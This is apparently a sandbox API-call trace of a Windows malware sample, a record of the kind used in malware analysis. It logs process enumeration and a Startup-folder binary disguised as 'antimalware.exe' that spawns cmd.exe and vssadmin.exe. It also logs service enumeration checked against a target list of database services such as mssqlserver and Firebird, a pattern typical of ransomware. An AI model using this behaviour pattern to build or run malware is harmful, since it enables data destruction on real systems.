	[0151.968] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.969] lstrlenW (lpString="svchost.exe") returned 11
	[0151.969] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0151.970] lstrlenW (lpString="spoolsv.exe") returned 11
	[0151.970] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.971] lstrlenW (lpString="svchost.exe") returned 11
	[0151.971] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0151.972] lstrlenW (lpString="audiodg.exe") returned 11
	[0151.972] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0151.973] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0151.973] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0151.974] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0151.974] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0151.975] lstrlenW (lpString="sihost.exe") returned 10
	[0151.975] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0151.976] lstrlenW (lpString="Memory Compression") returned 18
	[0151.976] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.977] lstrlenW (lpString="svchost.exe") returned 11
	[0151.977] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0151.978] lstrlenW (lpString="taskhostw.exe") returned 13
	[0151.978] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0151.979] lstrlenW (lpString="msoia.exe") returned 9
	[0151.979] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0151.980] lstrlenW (lpString="taskhostw.exe") returned 13
	[0151.980] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0151.981] lstrlenW (lpString="explorer.exe") returned 12
	[0151.981] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0151.982] lstrlenW (lpString="SearchUI.exe") returned 12
	[0151.982] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0151.983] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0151.983] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0151.983] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0151.984] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0151.984] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0151.984] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0151.985] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0151.985] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0151.986] lstrlenW (lpString="cmd.exe") returned 7
	[0151.986] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0151.987] lstrlenW (lpString="conhost.exe") returned 11
	[0151.987] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0151.988] lstrlenW (lpString="consent.exe") returned 11
	[0151.988] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0151.989] lstrlenW (lpString="vssadmin.exe") returned 12
	[0151.989] Process32NextW (in: hSnapshot=0x388, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0151.990] CloseHandle (hObject=0x388) returned 1
	[0151.990] Sleep (dwMilliseconds=0x1f4) 
	[0153.199] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b02c8
	[0153.199] EnumServicesStatusExW (in: hSCManager=0x45b02c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0153.200] GetLastError () returned 0xea
	[0153.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x4640fc8
	[0153.200] EnumServicesStatusExW (in: hSCManager=0x45b02c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4640fc8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4640fc8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0153.201] CloseServiceHandle (hSCObject=0x45b02c8) returned 1
	[0153.202] lstrlenW (lpString="Appinfo") returned 7
	[0153.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0153.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0153.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0153.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0153.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0153.202] lstrlenW (lpString="AppXSvc") returned 7
	[0153.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0153.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0153.202] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0153.202] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0153.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0153.202] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0153.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0153.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0153.202] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0153.202] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0153.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0153.202] lstrlenW (lpString="Audiosrv") returned 8
	[0153.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0153.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0153.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0153.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0153.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0153.203] lstrlenW (lpString="BFE") returned 3
	[0153.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0153.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0153.203] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0153.203] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0153.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0153.203] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0153.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0153.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0153.203] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0153.203] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0153.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0153.203] lstrlenW (lpString="CDPSvc") returned 6
	[0153.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0153.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0153.203] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0153.203] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0153.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0153.203] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0153.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0153.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0153.203] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0153.203] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0153.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0153.203] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0153.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0153.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0153.204] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0153.204] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0153.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0153.204] lstrlenW (lpString="CryptSvc") returned 8
	[0153.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0153.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0153.204] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0153.204] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0153.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0153.204] lstrlenW (lpString="DcomLaunch") returned 10
	[0153.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0153.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0153.204] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0153.204] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0153.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0153.204] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0153.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0153.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0153.204] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0153.204] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0153.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0153.204] lstrlenW (lpString="Dhcp") returned 4
	[0153.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0153.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0153.204] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0153.204] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0153.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0153.204] lstrlenW (lpString="Dnscache") returned 8
	[0153.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0153.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0153.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0153.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0153.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0153.205] lstrlenW (lpString="DPS") returned 3
	[0153.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0153.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0153.205] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0153.205] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0153.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0153.205] lstrlenW (lpString="DusmSvc") returned 7
	[0153.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0153.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0153.205] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0153.205] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0153.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0153.205] lstrlenW (lpString="EventLog") returned 8
	[0153.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0153.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0153.205] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0153.205] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0153.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0153.205] lstrlenW (lpString="EventSystem") returned 11
	[0153.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0153.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0153.205] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0153.205] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0153.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0153.206] lstrlenW (lpString="FontCache") returned 9
	[0153.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0153.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0153.206] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0153.206] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0153.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0153.206] lstrlenW (lpString="gpsvc") returned 5
	[0153.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0153.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0153.206] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0153.206] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0153.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0153.206] lstrlenW (lpString="iphlpsvc") returned 8
	[0153.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0153.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0153.206] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0153.206] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0153.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0153.206] lstrlenW (lpString="KeyIso") returned 6
	[0153.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0153.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0153.206] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0153.206] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0153.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0153.206] lstrlenW (lpString="LanmanServer") returned 12
	[0153.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0153.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0153.207] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0153.207] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0153.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0153.207] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0153.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0153.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0153.207] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0153.207] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0153.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0153.207] lstrlenW (lpString="lfsvc") returned 5
	[0153.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0153.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0153.207] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0153.207] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0153.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0153.207] lstrlenW (lpString="lmhosts") returned 7
	[0153.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0153.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0153.207] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0153.207] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0153.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0153.207] lstrlenW (lpString="LSM") returned 3
	[0153.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0153.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0153.207] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0153.207] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0153.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0153.207] lstrlenW (lpString="MpsSvc") returned 6
	[0153.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0153.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0153.208] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0153.208] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0153.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0153.208] lstrlenW (lpString="NcbService") returned 10
	[0153.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0153.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0153.208] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0153.208] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0153.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0153.208] lstrlenW (lpString="netprofm") returned 8
	[0153.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0153.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0153.208] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0153.208] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0153.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0153.208] lstrlenW (lpString="NgcSvc") returned 6
	[0153.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0153.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0153.208] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0153.208] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0153.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0153.208] lstrlenW (lpString="NlaSvc") returned 6
	[0153.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0153.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0153.208] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0153.209] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0153.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0153.209] lstrlenW (lpString="nsi") returned 3
	[0153.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0153.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0153.209] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0153.209] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0153.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0153.209] lstrlenW (lpString="PcaSvc") returned 6
	[0153.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0153.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0153.209] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0153.209] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0153.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
